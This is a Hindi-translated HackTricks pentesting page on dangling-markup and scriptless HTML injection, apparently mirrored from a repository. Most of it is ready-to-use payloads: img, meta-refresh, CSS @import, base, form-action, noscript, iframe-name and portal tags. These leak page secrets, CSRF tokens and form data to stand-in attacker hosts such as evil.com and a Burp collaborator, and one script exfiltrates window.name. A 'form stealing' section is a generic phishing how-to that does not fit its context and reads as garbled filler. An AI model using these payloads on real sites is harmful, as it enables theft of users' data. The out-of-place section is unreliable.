hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
2024-01-01 22:46:25 +00:00
..
README.md Translated to Hindi 2023-11-06 08:38:02 +00:00
ss-leaks.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 22:46:25 +00:00

डैंगलिंग मार्कअप - एचटीएमएल स्क्रिप्टलेस इंजेक्शन

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

सारांश

यह तकनीक एक एचटीएमएल इंजेक्शन मिलते ही उपयोग की जा सकती है जब एक उपयोगकर्ता से जानकारी निकालनी हो। यह बहुत उपयोगी है अगर आपको किसी XSS को एक्सप्लोइट करने का कोई तरीका नहीं मिलता है, लेकिन आप कुछ एचटीएमएल टैग्स इंजेक्ट कर सकते हैं।
यह उपयोगी भी है अगर किसी गुप्त सामग्री को साफ टेक्स्ट में सहेजा गया है और आप उसे क्लाइंट से बाहर निकालना चाहते हैं, या अगर आप किसी स्क्रिप्ट को गुमराह करना चाहते हैं।

यहां बहुत सारी तकनीकें बात की गई हैं जो कुछ सामग्री सुरक्षा नीति को बाईपास करने के लिए उपयोगी हो सकती हैं, अप्रत्याशित तरीकों में जानकारी को बाहर निकालने के लिए (एचटीएमएल टैग्स, सीएसएस, एचटीटीपी-मेटा टैग, फॉर्म, बेस...).

मुख्य अनुप्रयोग

साफ टेक्स्ट सीक्रेट्स चोरी

यदि आप <img src='http://evil.com/log.cgi? इंजेक्ट करते हैं तो जब पेज लोड होता है तो पीडीएफ आपको इंजेक्टेड img टैग और कोड के बीच के अगले कोड कोट के बीच में सभी कोड को भेजेगा। यदि उस चंक में किसी गुप्त सामग्री को स्थानित किया गया है, तो आप उसे चुरा लेंगे (आप एक डबल कोट का उपयोग करके भी यही काम कर सकते हैं, देखें कौन सा अधिक दिलचस्प हो सकता है)।

यदि img टैग मना किया जाता है (उदाहरण के लिए, सीएसपी के कारण) तो आप <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? का उपयोग भी कर सकते हैं।

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

ध्यान दें कि Chrome "<" या "\n" वाले HTTP URLs को ब्लॉक करता है, इसलिए आप "ftp" जैसे अन्य प्रोटोकॉल स्कीम का प्रयास कर सकते हैं।

आप CSS @import का दुरुपयोग भी कर सकते हैं (जो एक ";" तक कोड भेजेगा)।

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

आप इस्तेमाल कर सकते हैं <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

आप एक <base टैग भी सम्मिलित कर सकते हैं। सभी जानकारी उस समय तक भेजी जाएगी जब तक कि उद्धरण बंद नहीं हो जाता है, लेकिन इसके लिए कुछ उपयोगकर्ता संवेदनशीलता की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा निर्देशित डोमेन को बदल दिया होगा):

<base target='        <--- Injected
steal me'<b>test</b>

फॉर्म चोरी

विवरण

फॉर्म चोरी एक तकनीक है जिसमें हम एक वेब पेज पर मौजूद फॉर्म के डेटा को चोरी करते हैं। यह तकनीक उपयोगकर्ताओं के द्वारा भरे गए व्यक्तिगत और सांख्यिकीय जानकारी को प्राप्त करने का एक अविधि है। इसका उपयोग अधिकांशतः फिशिंग हमलों में किया जाता है, जहां एक हमलावर वेबसाइट बनाई जाती है जो मूल वेबसाइट की तरह दिखती है और उपयोगकर्ताओं को धोखा देकर उनकी जानकारी चुरा लेती है।

तकनीक

फॉर्म चोरी के लिए, हम निम्नलिखित कदमों का पालन करते हैं:

  1. एक वेब पेज का चयन करें जिसमें फॉर्म होता है जिसका डेटा हम चोरी करना चाहते हैं।
  2. वेब पेज के HTML कोड को जांचें और फॉर्म के नाम, इनपुट फ़ील्ड्स और उनके नामों को ध्यान से नोट करें।
  3. एक वेब पेज बनाएं और उसे अपनी वेबसाइट पर होस्ट करें।
  4. नई वेब पेज में एक फॉर्म बनाएं और उसे मूल वेब पेज के फॉर्म के साथ एकीकृत करें।
  5. फॉर्म के इनपुट फ़ील्ड्स को उपयोगकर्ताओं के द्वारा भरे गए डेटा के साथ पूर्ण करें।
  6. फॉर्म को अपनी वेबसाइट पर सबमिट करें और उपयोगकर्ताओं को धोखा देंकर उनकी जानकारी चोरी करें।

सुरक्षा सुझाव

फॉर्म चोरी से बचने के लिए, निम्नलिखित सुरक्षा सुझावों का पालन करें:

  • वेबसाइटों पर HTTPS का उपयोग करें ताकि डेटा एन्क्रिप्टेड हो सके।
  • उपयोगकर्ताओं को जागरूक करें कि वे किसी भी वेबसाइट पर अपनी व्यक्तिगत जानकारी को देने से पहले उसकी प्रामाणिकता की जांच करें।
  • फॉर्म फ़ील्डों के लिए वैधेयता नियम और इनपुट सत्यापन का उपयोग करें।
  • वेबसाइटों को नियमित रूप से सुरक्षा स्कैन करें और सुरक्षा के लिए उन्नत उपाय अपनाएं।
<base href='http://evil.com/'>

तो, उन फॉर्म्स को जो डेटा को पथ को भेजते हैं (जैसे <form action='update_profile.php'>) वह डेटा खतरनाक डोमेन को भेजेंगे।

फॉर्म्स चोरी 2

एक फॉर्म हेडर सेट करें: <form action='http://evil.com/log_steal'> यह अगले फॉर्म हेडर को ओवरराइट करेगा और फॉर्म के सभी डेटा को हमलावर्धक को भेज दिया जाएगा।

फॉर्म्स चोरी 3

बटन फॉर्म की जानकारी को भेजने वाले URL को "formaction" गुणधर्म के साथ बदल सकता है:

<button name=xss type=submit formaction='https://google.com'>I get consumed!

एक हमलावर इसका उपयोग जानकारी चुराने के लिए कर सकता है।

साफ पाठ रहस्यों की चोरी 2

नवीनतम उल्लिखित तकनीक का उपयोग करके फॉर्म चोरी करने के लिए (नए फॉर्म हैडर को इंजेक्ट करना) आप एक नया इनपुट फ़ील्ड इंजेक्ट कर सकते हैं:

<input type='hidden' name='review_body' value="

और यह इनपुट फ़ील्ड इसके डबल कोट और HTML में अगले डबल कोट के बीच की सभी सामग्री को समेत करेगा। यह हमला "स्पष्ट पाठ रहस्यों की चोरी" को "फ़ॉर्म2 की चोरी" के साथ मिलाता है।

आप एक ही चीज़ को फ़ॉर्म और <option> टैग में इंजेक्ट करके ऐसा ही कर सकते हैं। एक बंद </option> मिलने तक सभी डेटा भेजा जाएगा:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

फॉर्म पैरामीटर इंजेक्शन

आप एक फॉर्म के पथ को बदल सकते हैं और नए मान डाल सकते हैं ताकि एक अप्रत्याशित कार्रवाई की जाएगी:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

नोस्क्रिप्ट के माध्यम से स्पष्ट पाठ रहस्यों की चोरी

<noscript></noscript> एक टैग है जिसकी सामग्री का अर्थानुसार इंटरप्रिटेशन होगा अगर ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता है (आप chrome://settings/content/javascript में क्रोम में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।

एक तरीका वेब पृष्ठ की सामग्री को अपराधी नियंत्रित साइट के नियंत्रण में इंजेक्शन के बिंदु से नीचे तक निकालने का होगा। इसके लिए निम्नलिखित को इंजेक्ट करें:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

उपयोगकर्ता संवाद के साथ सीएसपी को बाईपास करना

पोर्टस्विगर्स के अनुसंधान से आप यह सीख सकते हैं कि सबसे अधिक सीएसपी प्रतिबंधित वातावरण से भी आप कुछ उपयोगकर्ता संवाद के साथ अभी भी डेटा निर्यात कर सकते हैं। इस अवसर में हम निम्नलिखित पेलोड का उपयोग करेंगे:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

नोट करें कि आप पीड़ित से एक लिंक पर क्लिक करने के लिए कहेंगे जो उसे आपके द्वारा नियंत्रित पेलोड पर रीडायरेक्ट करेगा। इसके अलावा ध्यान दें कि base टैग के भीतर target एट्रिब्यूट एकल कोट तक का HTML सामग्री शामिल होगा। इससे यह होगा कि जब लिंक पर क्लिक किया जाता है तो window.name का मान वही सभी HTML सामग्री होगा। इसलिए, जैसा कि आप लिंक पर क्लिक करके पहुंच रहे पेज को नियंत्रित करते हैं, आप उस window.name तक पहुंच सकते हैं और उस डेटा को अपहरण कर सकते हैं:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

भ्रामक स्क्रिप्ट वर्कफ़्लो 1 - HTML नेमस्पेस हमला

HTML में एक नया टैग डालें जिसमें एक आईडी होगी और जो अगले टैग को ओवरराइट करेगी और जिसका मान एक स्क्रिप्ट के फ़्लो को प्रभावित करेगा। इस उदाहरण में आप चुन रहे हैं कि जानकारी किसके साथ साझा की जाएगी:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

भ्रामक स्क्रिप्ट वर्कफ़्लो 2 - स्क्रिप्ट नेमस्पेस हमला

HTML टैग्स को सम्मिलित करके जावास्क्रिप्ट नेमस्पेस में चर बनाएं। फिर, यह चर एप्लिकेशन के फ़्लो को प्रभावित करेगा:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONP का दुरुपयोग

यदि आपको एक JSONP इंटरफेस मिलता है, तो आप विचित्र डेटा के साथ विचित्र फ़ंक्शन को कॉल कर सकते हैं:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

या आप यह भी प्रयास कर सकते हैं कि कुछ जावास्क्रिप्ट को क्रियान्वित करें:

<script src='/search?q=a&call=alert(1)'></script>

Iframe दुरुपयोग

ध्यान दें कि एक बाल दस्तावेज़ माता-पिता के लिए स्थान संपत्ति को देख सकता है और सेट कर सकता है, यहां तक कि यदि क्रॉस-संबंधी हो। इसका मतलब है कि आप एक आइफ्रेम के अंदर कोई भी कोड लोड करके क्लाइंट को किसी अन्य पृष्ठ तक पहुंच करा सकते हैं, जैसे:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

इसे इस तरह से न्यूनतम किया जा सकता है: sandbox= allow-scripts allow-top-navigation

एक आईफ्रेम भी इस्तेमाल किया जा सकता है ताकि एक अलग पेज से संवेदनशील जानकारी चुराई जा सके आईफ्रेम नाम एट्रिब्यूट का उपयोग करके। इसलिए आप एक ऐसा आईफ्रेम बना सकते हैं जो खुद को आईफ्रेम करता है और एचटीएमएल इंजेक्शन का दुरुपयोग करता है जिससे संवेदनशील जानकारी आईफ्रेम नाम एट्रिब्यूट के भीतर प्रकट होती है और फिर प्रारंभिक आईफ्रेम से उसे एक्सेस करके उसे चुरा सकते हैं।

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

अधिक जानकारी के लिए https://portswigger.net/research/bypassing-csp-with-dangling-iframes देखें

<meta दुरुपयोग

आप meta http-equiv का उपयोग करके कई कार्रवाइयों को कर सकते हैं, जैसे कि कुकी सेट करना: <meta http-equiv="Set-Cookie" Content="SESSID=1"> या पुनर्निर्देशित करना (इस मामले में 5 सेकंड में): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

इसे CSP के साथ टाला जा सकता है http-equiv के संबंध में (Content-Security-Policy: default-src 'self';, या Content-Security-Policy: http-equiv 'self';)

नया <portal HTML टैग

आप यहां <portal टैग के उपयोग के द्वारा उत्पन्न होने वाली सुरक्षा संबंधी समस्याओं पर एक बहुत दिलचस्प शोध पा सकते हैं यहां
इस लेख के लेखन के समय में आपको Chrome में chrome://flags/#enable-portals पर पोर्टल टैग को सक्षम करना होगा, अन्यथा यह काम नहीं करेगा।

<portal src='https://attacker-server?

HTML लीक

HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकता है। इसे यहां देखें: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-लीक

यह डैंगलिंग मार्कअप और XS-लीक्स के बीच का मिश्रण है। एक ओर यह संकटग्रस्तता को अनुमति देता है कि हम एक समान मूल के पृष्ठ में HTML (लेकिन नहीं JS) को इंजेक्ट करें। दूसरी ओर हम सीधे वह पृष्ठ नहीं हमला करेंगे जहां हम HTML को इंजेक्ट कर सकते हैं, बल्कि दूसरे पृष्ठ पर।

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-सर्च/XS-लीक्स

XS-सर्च क्रॉस-मूल जानकारी को छीनने के लिए साइड चैनल हमलों का उपयोग करते हैं। इसलिए, यह Dangling Markup से एक अलग तकनीक है, हालांकि, कुछ तकनीकों में HTML टैगों का उपयोग किया जाता है (JS के साथ और बिना), जैसे CSS इंजेक्शन या लेजी लोड इमेजेस

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

ब्रूट-फोर्स डिटेक्शन सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

संदर्भ

यहां प्रस्तुत की गई सभी तकनीकों और अधिक विवरणों को निम्न लिंकों पर देखा जा सकता है:

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

इसके अलावा, इस लिंक पर अधिक जानकारी मिलेगी:

{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}

अधिक जानकारी:

{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥